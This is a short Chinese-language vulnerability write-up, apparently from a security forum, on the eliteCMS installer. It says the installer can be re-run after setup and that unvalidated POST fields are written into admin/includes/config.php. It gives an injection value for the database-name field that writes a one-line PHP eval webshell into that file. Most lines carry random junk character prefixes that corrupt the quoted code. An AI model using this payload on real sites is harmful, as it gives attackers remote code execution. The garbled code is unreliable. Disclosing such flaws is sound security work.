eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

& V2 x7 |# v* z! j3 G9 S) }另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

6 l: W5 K, }# c) Q. I...
8 V- O- [: V* c3 s& I& Oelseif ($_GET['step'] == "4") {
+ b: T- u" ^. w2 \' n    $file = "../admin/includes/config.php";
    $write = "<?php\n";
4 C# F1 O+ m% h) E# K; X    $write .= "/**\n";
: q: n( K7 K' E. G" _; a8 T    $write .= "*\n";
' V( [4 v5 V3 Y9 M* ~    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
0 Q# |; G/ u8 ]( {% x    $write .= "*\n";
    $write .= "*/\n";
/ @1 o$ k9 _0 K1 g0 K( O8 R; u    $write .= "\n";
6 p! e2 _) m$ s  y- G1 S; B    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
+ m$ f$ i# \( r# ^$ N    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
/ f& T. v8 E/ J; S1 R0 W    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 e2 w& [; r6 B, R0 `    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
$ C) t. G* V2 H$ I7 F    $write .= "        \n";
    $write .= "} \n";
% |$ Y3 R. Q5 J' o9 p    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
* |  L! T( b% M: T, b+ ?    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
( l$ k4 p3 j; W* x7 ]    $write .= "} \n";
6 {! \2 Q0 a, }8 Q4 A9 ~9 p    $write .= "?>\n";
1 K. u( w) |  n2 B# a
4 K/ W7 F, U; C$ V    $writer = fopen($file, 'w');
...

" g/ l7 x# G) \( E) u* Q8 m. J在看代码：
! n, D( y- F7 ^* I: U+ x/ {
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
9 P% m2 Q) L% @' O8 D  B$ E& P8 b! q$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
3 y& m9 k4 i3 z! y$_SESSION['DB_USER'] = $_POST['DB_USER'];
# ^: Q4 e, t) g" ?9 X3 a$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 ^1 h! b% D" K' ^5 Q) v$ ]2 w
取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
6 ~9 o4 Q/ ?8 ^* W. F( O( p& _
4 b7 f1 m' X7 _将导致一句话后门写入/admin/includes/config.php